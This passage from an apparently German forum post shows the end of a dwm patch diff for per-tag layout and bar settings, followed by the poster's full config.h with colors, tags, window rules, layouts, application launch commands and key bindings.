+&nbsp;&nbsp;&nbsp;&nbsp;}<br />
+&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;lt[selmon-&gt;sellt]= selmon-&gt;lts[selmon-&gt;curtag];<br />
+&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;mfact = selmon-&gt;mfacts[selmon-&gt;curtag];<br />
+&nbsp;&nbsp;&nbsp;&nbsp;if(selmon-&gt;showbar != selmon-&gt;showbars[selmon-&gt;curtag])<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;togglebar(NULL);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;arrange(selmon);<br />
 }</code></div></div>
<br />
config.h (kein patch)<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>/* See LICENSE file for copyright and license details. */<br />
<br />
/* appearance */<br />
static const char font[]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= "-*-terminus-medium-r-*-*-16-*-*-*-*-*-*-*";<br />
static const char normbordercolor[] = "#d4d4d4";<br />
static const char normbgcolor[]&nbsp;&nbsp;&nbsp;&nbsp; = "#d4d4d4";<br />
static const char normfgcolor[]&nbsp;&nbsp;&nbsp;&nbsp; = "#000000";<br />
static const char selbordercolor[]&nbsp;&nbsp;= "#1751FF";<br />
static const char selbgcolor[]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= "#5a5a5a";<br />
static const char selfgcolor[]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= "#ffffff";<br />
static const unsigned int borderpx&nbsp;&nbsp;= 1;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* border pixel of windows */<br />
static const unsigned int snap&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= 32;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* snap pixel */<br />
static const unsigned int gappx&nbsp;&nbsp;&nbsp;&nbsp; = 0;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* pixel gap between clients */<br />
static const Bool showbar&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = True;&nbsp;&nbsp;&nbsp;&nbsp; /* False means no bar */<br />
static const Bool topbar&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= True;&nbsp;&nbsp;&nbsp;&nbsp; /* False means bottom bar */<br />
static const Bool focusonclick&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= True;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* change focus only on click */<br />
<br />
#define NUMCOLORS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4<br />
static const char colors[NUMCOLORS][ColLast][8] = {<br />
&nbsp;&nbsp;// border&nbsp;&nbsp; foreground background<br />
&nbsp;&nbsp;{ "#d4d4d4", "#000000", "#d4d4d4" },&nbsp;&nbsp;// normal<br />
&nbsp;&nbsp;{ "#1751FF", "#ffffff", "#5a5a5a" },&nbsp;&nbsp;// selected<br />
&nbsp;&nbsp;{ "#ff0000", "#000000", "#ffff00" },&nbsp;&nbsp;// urgent/warning&nbsp;&nbsp;(black on yellow)<br />
&nbsp;&nbsp;{ "#ff0000", "#ffffff", "#ff0000" },&nbsp;&nbsp;// error (white on red)<br />
&nbsp;&nbsp;// add more here<br />
};<br />
<br />
<br />
/* tagging */<br />
static const char *tags[] = { "1:terminals", "2:code", "3:www", "4:IRC", "5:chat", "6:media", "7:office", "8" };<br />
static const int initlayouts[]&nbsp;&nbsp;= { 0, 0, 0, 0, 0, 1, 0, 1 };<br />
<br />
static const Rule rules[] = {<br />
&nbsp;&nbsp;&nbsp;&nbsp;/* class&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;instance&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;title&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tags mask&nbsp;&nbsp; isfloating&nbsp;&nbsp;monitor */<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ "Namoroka",&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1 &lt;&lt; 2,&nbsp;&nbsp;&nbsp;&nbsp; False,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-1 }, /* Firefox */<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ "OpenOffice.org 3.2", NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1 &lt;&lt; 6,&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;False,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-1 },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ "Mplayer",&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1 &lt;&lt; 5,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;True,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-1 },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ "URxvt",&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"irssi",&nbsp;&nbsp;&nbsp;&nbsp;1 &lt;&lt; 3,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;False,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-1 },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ "URxvt",&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "pms",&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1 &lt;&lt; 5,&nbsp;&nbsp;&nbsp;&nbsp; False,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-1 },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ "Eclipse",&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1 &lt;&lt; 1,&nbsp;&nbsp;&nbsp;&nbsp; False,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-1 },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ "Lanikai",&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1 &lt;&lt; 4,&nbsp;&nbsp;&nbsp;&nbsp; False,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-1 }, /* Thunderbird */<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ "VirtualBox",&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1 &lt;&lt; 7,&nbsp;&nbsp;&nbsp;&nbsp; True,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -1 },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ "Pidgin",&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1 &lt;&lt; 4,&nbsp;&nbsp;&nbsp;&nbsp; False,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-1 },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ "Wine",&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1 &lt;&lt; 7,&nbsp;&nbsp;&nbsp;&nbsp; True,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -1 },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ "Xpdf",&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1 &lt;&lt; 6,&nbsp;&nbsp;&nbsp;&nbsp; False,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-1 },<br />
};<br />
<br />
/* layout(s) */<br />
static const float mfact&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= 0.60; /* factor of master area size [0.05..0.95] */<br />
static const Bool resizehints = False; /* True means respect size hints in tiled resizals */<br />
<br />
/* additional layouts */<br />
/*#include "bstack.c"<br />
#include "bstackhoriz.c"<br />
#include "push.c"<br />
#include "gaplessgrid.c"<br />
#include "cycle.c"*/<br />
<br />
static const Layout layouts[] = {<br />
&nbsp;&nbsp;&nbsp;&nbsp;/* symbol&nbsp;&nbsp;&nbsp;&nbsp; arrange function */<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ "TTT",&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bstack },&nbsp;&nbsp;&nbsp;&nbsp;/* first entry is default */<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ "[]=",&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tile },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ "&gt;&lt;&gt;",&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL },&nbsp;&nbsp;&nbsp;&nbsp;/* no layout function means floating behavior */<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ "[M]",&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;monocle },<br />
/*&nbsp;&nbsp;&nbsp;&nbsp;{ "===",&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bstackhoriz },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ "###",&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;gaplessgrid },*/<br />
};<br />
<br />
/* key definitions */<br />
#define MODKEY Mod1Mask<br />
#define TAGKEYS(KEY,TAG) &#92;n&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; KEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;view,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {.ui = 1 &lt;&lt; TAG} }, &#92;n&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY|ControlMask,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; KEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;toggleview,&nbsp;&nbsp;&nbsp;&nbsp; {.ui = 1 &lt;&lt; TAG} }, &#92;n&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY|ShiftMask,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; KEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tag,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.ui = 1 &lt;&lt; TAG} }, &#92;n&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY|ControlMask|ShiftMask, KEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;toggletag,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.ui = 1 &lt;&lt; TAG} },<br />
<br />
/* helper for spawning shell commands in the pre dwm-5.0 fashion */<br />
#define SHCMD(cmd) { .v = (const char*[]){ "/bin/sh", "-c", cmd, NULL } }<br />
<br />
/* commands */<br />
static const char *dmenucmd[] = { "dmenu_run", "-fn", font, "-nb", normbgcolor, "-nf", normfgcolor, "-sb", selbgcolor, "-sf", selfgcolor, NULL };<br />
static const char *termcmd[]&nbsp;&nbsp;= { "urxvt", NULL };<br />
static const char *browsercmd[] = { "firefox", NULL };<br />
static const char *writercmd[] = { "soffice", "-writer", NULL };<br />
static const char *irccmd[] =&nbsp;&nbsp;{ "python", "/home/dav1d/scripts/startirssi.py", NULL };<br />
static const char *mailcmd[] = { "thunderbird", NULL };<br />
static const char *idecmd[] = { "eclipse", NULL };<br />
static const char *vboxcmd[] = { "VirtualBox", NULL };<br />
static const char *imcmd[] = { "pidgin", NULL };<br />
static const char *pycrust[] = { "pycrust", NULL };<br />
static const char *pmscmd[] = { "urxvt", "-title", "pms", "-e", "pms", NULL };<br />
static const char *killx[] = { "killall", "X", "&amp;", "killall", "dwm" };<br />
<br />
static Key keys[] = {<br />
&nbsp;&nbsp;&nbsp;&nbsp;/* modifier&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; key&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; function&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; argument */<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_p,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; spawn,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.v = dmenucmd } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY|ShiftMask,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_Return , spawn,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.v = termcmd } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY|ShiftMask,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XK_f,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;spawn,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.v = browsercmd } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY|ShiftMask,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XK_w,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;spawn,&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.v = writercmd } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY|ShiftMask,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XK_i,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;spawn,&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.v = irccmd } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY|ShiftMask,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_t,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; spawn,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.v = mailcmd } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY|ShiftMask,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_e,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; spawn,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.v = idecmd } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY|ShiftMask,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_v,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; spawn,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.v = vboxcmd } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY|ShiftMask,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_p,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; spawn,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.v = imcmd } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY|ShiftMask,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_y,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; spawn,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.v = pycrust } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY|ShiftMask,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_m,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; spawn,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.v = pmscmd } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY|ShiftMask,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_k,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; spawn,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.v = killx } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_b,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; togglebar,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{0} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_j,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; focusstack,&nbsp;&nbsp;&nbsp;&nbsp; {.i = +1 } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_k,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; focusstack,&nbsp;&nbsp;&nbsp;&nbsp; {.i = -1 } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_h,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; setmfact,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {.f = -0.05} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_l,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; setmfact,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {.f = +0.05} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_plus,&nbsp;&nbsp;&nbsp;&nbsp;pushup,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {0} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_sterling,pushdown,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {0} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_Return,&nbsp;&nbsp;zoom,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {0} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_Tab,&nbsp;&nbsp;&nbsp;&nbsp; view,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {0} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY|ShiftMask,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_c,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; killclient,&nbsp;&nbsp;&nbsp;&nbsp; {0} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XK_s,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;setlayout,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.v = &amp;layouts[0]} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_t,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; setlayout,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.v = &amp;layouts[1]} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_f,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; setlayout,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.v = &amp;layouts[2]} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_space,&nbsp;&nbsp; setlayout,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{0} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY|ShiftMask,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_space,&nbsp;&nbsp; togglefloating, {0} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_0,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; view,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {.ui = ~0 } },<br />
